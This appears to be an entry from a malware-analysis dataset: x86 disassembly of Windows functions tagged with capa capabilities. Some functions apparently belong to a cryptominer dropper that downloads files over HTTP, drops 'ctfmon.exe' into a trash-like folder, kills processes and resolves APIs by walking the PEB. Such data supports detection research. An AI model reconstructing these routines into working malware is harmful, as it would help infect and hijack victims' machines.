joyce8/EMBER2024-capa huggingface dataset:
Function at 0x56c708
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x56c87e
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x56c859
push dword fs:[eax]
mov dword fs:[eax], esp
mov word [ebp - 0x216], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x216]
push eax
lea eax, [ebp - 0x21c]
mov edx, esi
call fcn.00406c78
lea eax, [ebp - 0x21c]
mov edx, 0x56c898
call fcn.00406f20
mov eax, dword [ebp - 0x21c]
call fcn.00406b88
push eax
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
je 0x56c7c8
lea eax, [ebp - 0x216]
call fcn.0041482c
mov ecx, eax
lea edx, [ebp - 0x216]
mov eax, ebx
call fcn.00406c38
jmp 0x56c7d1
mov eax, ebx
xor edx, edx
call fcn.00406afc
cmp si, 0x61
jae 0x56c7f3
lea edx, [ebp - 0x220]
mov eax, dword [ebx]
call fcn.0041aa20
mov edx, dword [ebp - 0x220]
mov eax, ebx
call fcn.00406afc
jmp 0x56c80d
lea edx, [ebp - 0x224]
mov eax, dword [ebx]
call fcn.0041aa0c
mov edx, dword [ebp - 0x224]
mov eax, ebx
call fcn.00406afc
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebx]
mov dword [ebp - 0x230], eax
mov byte [ebp - 0x22c], 0x11
lea edx, [ebp - 0x230]
xor ecx, ecx
mov eax, 0x56c8ac
call fcn.00414d7c
mov edx, dword [ebp - 0x228]
mov eax, ebx
call fcn.00406afc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x56c860
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x570b24
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406ae4
xor eax, eax
push ebp
push 0x570b6f
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00406b88
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x570b76
lea eax, [ebp - 4]
call fcn.00406aec
ret
Function at 0x570f60
Capabilities:
Check os version
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00406ae4
mov eax, dword [ebp - 8]
call fcn.00406ae4
xor eax, eax
push ebp
push 0x57104b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x11c], 0x114
lea eax, [ebp - 0x11c]
push eax
call sub.kernel32.dll_GetVersionExW
cmp dword [ebp - 0x118], 5
ja 0x570fcd
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00406b88
push eax
mov eax, dword [ebp - 4]
call fcn.00406b88
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteW
jmp 0x571030
lea eax, [ebp - 0x158]
xor ecx, ecx
mov edx, 0x3c
call fcn.00404860
mov dword [ebp - 0x158], 0x3c
mov dword [ebp - 0x154], 0x500
mov eax, 0x571058
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 4]
call fcn.00406b88
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 8]
call fcn.00406b88
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x13c], 1
lea eax, [ebp - 0x158]
push eax
call sub.shell32.dll_ShellExecuteExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x571052
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406af4
ret
Function at 0x401857
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x4018c7
cmp ebx, 0x20
je 0x4018c7
cmp ebx, 0xffffffe0
je 0x4018c7
jne 0x4018d0
add eax, 1
cmp esi, eax
je 0x4018dd
jne 0x4018ac
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x4018e1
jne 0x4018a8
pop edx
mov eax, dword [edx + 0x18]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
cmp ebx, 0
je 0x401926
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x40192c
add eax, 4
pop esi
dec esi
push esi
jne 0x40190e
xor eax, eax
mov dword [ebp - 8], eax
nop
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [ebp - 8], eax
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
mov esi, dword [esi]
mov esi, dword [esi + 4]
lea ecx, [esi - 1]
test ecx, ecx
jl 0x40196d
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
lea eax, [eax + ecx*4 + 8]
inc ecx
push dword [eax]
sub eax, 4
dec ecx
jne 0x401965
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x401983
lea eax, [esi*4]
add esp, eax
mov eax, dword [ebp - 0xc]
jmp 0x40198b
mov esp, ebp
pop ebp
ret 0x18
Function at 0x4037b8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 0xc], 0
jne 0x4037d3
call fcn.00403843
mov dword [ebp + 8], eax
mov dword [ebp - 4], esp
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4037ff
push 6
call fcn.00408731
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x403829
push 6
call fcn.00408731
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
jmp 0x40383d
mov esp, ebp
pop ebp
ret 8

Function at 0x408eb0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x408f19
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.004088a0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x4093c0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x4093cd
xor eax, eax
pop esi
ret
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
jne 0x4093df
pop esi
ret
cmp ecx, 1
jne 0x4093ed
cmp byte [esi], 0x5c
jne 0x4093ed
xor eax, eax
pop esi
ret
push esi
call fcn.00409170
add esp, 4
test eax, eax
je 0x409401
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x40b740
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x40b75e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x40b753
pop esi
ret
Function at 0x4041d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x425fa8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x432860]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x432860]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x404324
cmp byte [ebx + 0x45], 0
je 0x404324
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x404230
xor al, al
jmp 0x404326
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x404270
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4042b1
dec eax
je 0x4042b5
sub eax, 2
je 0x40430b
xor bl, bl
jmp 0x40430d
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x4042ec
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.0040e843
add esp, 0x10
cmp esi, eax
jne 0x4042ad
cmp byte [ebx + 0x45], 0
je 0x40430b
test esi, esi
jne 0x404270
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00403cc0
jmp 0x404270
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x404320
push dword [esp + 0x18]
call fcn.0040e668
add esp, 4
mov al, bl
jmp 0x404326
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x404ff0
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42633b
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x4350c8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, str.DB_key
mov ecx, 0x4340f0
call fcn.00405410
mov edx, esi
mov ecx, eax
call fcn.00405410
mov edx, str._write_attept._Data_to_write__
mov ecx, eax
call fcn.00405410
mov edx, edi
mov ecx, eax
call fcn.00405410
mov edx, 0x42db8c
mov ecx, eax
call fcn.00405410
push str.X:.Trash_100
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x11c]
push str.db_
push 0x104
push eax
call fcn.0040e8c1
add esp, 0xc
lea eax, [ebp - 0x11c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040e8c1
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402dc0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], 0
call fcn.00402560
lea ecx, [ebp - 0x1c0]
call fcn.00404080
test eax, eax
jne 0x405127
mov eax, dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1c4]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40511f
or eax, 4
push 0
push eax
call fcn.004017d0
push 0x4350c8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c8], eax
lea ecx, [ebp - 0x1c0]
call fcn.00402f90
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c8], eax
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040c9a1
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x405b60
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x208]
push str..
push 0x100
push eax
call fcn.0040e8c1
add esp, 0xc
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405cb7
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x405c8f
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
cmp byte [ebp - 0x31c], 0x2e
je 0x405c72
push dword [ebp - 0x34c]
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x42dadc
push 0x100
push eax
call fcn.0040e8c1
add esp, 0xc
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040e8c1
add esp, 0xc
mov edx, str.Deleting_file__
mov ecx, 0x4340f0
call fcn.00405410
lea edx, [ebp - 0x108]
mov ecx, eax
call fcn.00405410
mov edx, 0x42dd38
mov ecx, eax
call fcn.00405410
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebx
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call esi
cmp eax, 0x12
jne 0x405be2
mov edx, str.Cleared_directory__
mov ecx, 0x4340f0
call fcn.00405410
mov edx, dword [ebp - 0x34c]
mov ecx, eax
call fcn.00405410
mov edx, 0x42dd38
mov ecx, eax
call fcn.00405410
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret

Function at 0x406be0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4350c8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x4350c8
mov byte [0x4350c5], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x4350c0]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004051d0
add esp, 4
test al, al
je 0x406c45
lea ecx, [ebp - 0x110]
call fcn.0040b460
push 0xffffffffffffffff
push dword [0x4350c0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, str.Miner_stopped_n
mov ecx, 0x4340f0
call fcn.00405410
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x408930
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.00412080
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.00408910
int3

Function at 0x4089c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.00412080
mov al, byte [0x42df9c]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x130]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040e8c1
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408a64
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.004056c0
push str.0030
push esi
call fcn.0040eac0
add esp, 0x10
cmp eax, esi
jne 0x408a95
test bl, bl
jne 0x408b24
push 0x42dd74
push esi
call fcn.0040eac0
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.0040ad80
test al, al
je 0x408b24
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.0040bdd0
add esp, 4
test eax, eax
jne 0x408b34
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.00412080
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x408b44
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00408930
call fcn.00408910
int3
Function at 0x40ad80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
push str.http:__
push edi
mov dword [ebp - 0x5f8], ebx
call fcn.0040eac0
mov esi, eax
add esp, 8
test esi, esi
je 0x40adb9
add esi, 7
jmp 0x40adbb
mov esi, edi
push 0x42e720
push esi
call fcn.0040eac0
add esp, 8
test eax, eax
je 0x40af00
push 0x42e720
push esi
call fcn.0040eac0
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040ee76
push 0x42e720
push esi
call fcn.0040eac0
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040e5e9
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.0040a260
add esp, 0x10
test al, al
je 0x40af00
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.0040a1a0
add esp, 8
test al, al
je 0x40af00
lea eax, [ebp - 0xe8]
push eax
call fcn.0040f018
add esp, 4
mov edi, eax
push edi
push ecx
mov edx, str.Downloading_file__
mov ecx, 0x4340f0
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.00406c70
mov edx, str._bytes_..._n
mov ecx, eax
call fcn.00405410
push edi
call fcn.0040cce9
add esp, 4
mov esi, eax
push 1
push 0
push edi
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.0040a260
add esp, 0x10
test al, al
je 0x40aef7
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.004051d0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40af13
mov edx, str._nError_opening_file_for_writing_n
mov ecx, 0x4340f0
call fcn.00405410
push esi
call fcn.0040e5e4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
push ebx
push ecx
push edi
push ecx
mov edx, str.Writing_data_to_file
mov ecx, 0x4340f0
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.00406c70
mov edx, str._bytes__handle:
mov ecx, eax
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.0040b140
mov edx, str._to__
mov ecx, eax
call fcn.00405410
mov edx, dword [ebp - 0x5f8]
mov ecx, eax
call fcn.00405410
mov edx, 0x42dd38
mov ecx, eax
call fcn.00405410
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x40b460
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x40b53e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x40b53e
jmp 0x40b4d0
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40b500
test dl, dl
je 0x40b4fc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40b500
add ecx, 2
add eax, 2
test dl, dl
jne 0x40b4e0
xor eax, eax
jmp 0x40b505
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40b52f
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x40b4d0
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x40b560
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b593
sub eax, edx
inc eax
push eax
call fcn.0040cce9
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b5b0
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x40b6c7
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x40b6c7
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b600
sub ecx, esi
je 0x40b633
jmp 0x40b610
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x40b620
cmp al, 0x5a
jg 0x40b620
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b626
sub eax, esi
cmp edx, eax
jb 0x40b610
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b640
sub ecx, esi
je 0x40b67f
jmp 0x40b650
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x40b668
cmp al, 0x5a
jg 0x40b668
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b672
sub ecx, esi
cmp edx, ecx
jb 0x40b650
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b6a7
test dl, dl
je 0x40b6a3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b6a7
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b687
xor eax, eax
jmp 0x40b6ac
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b6ea
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x40b5f3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040e5e4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
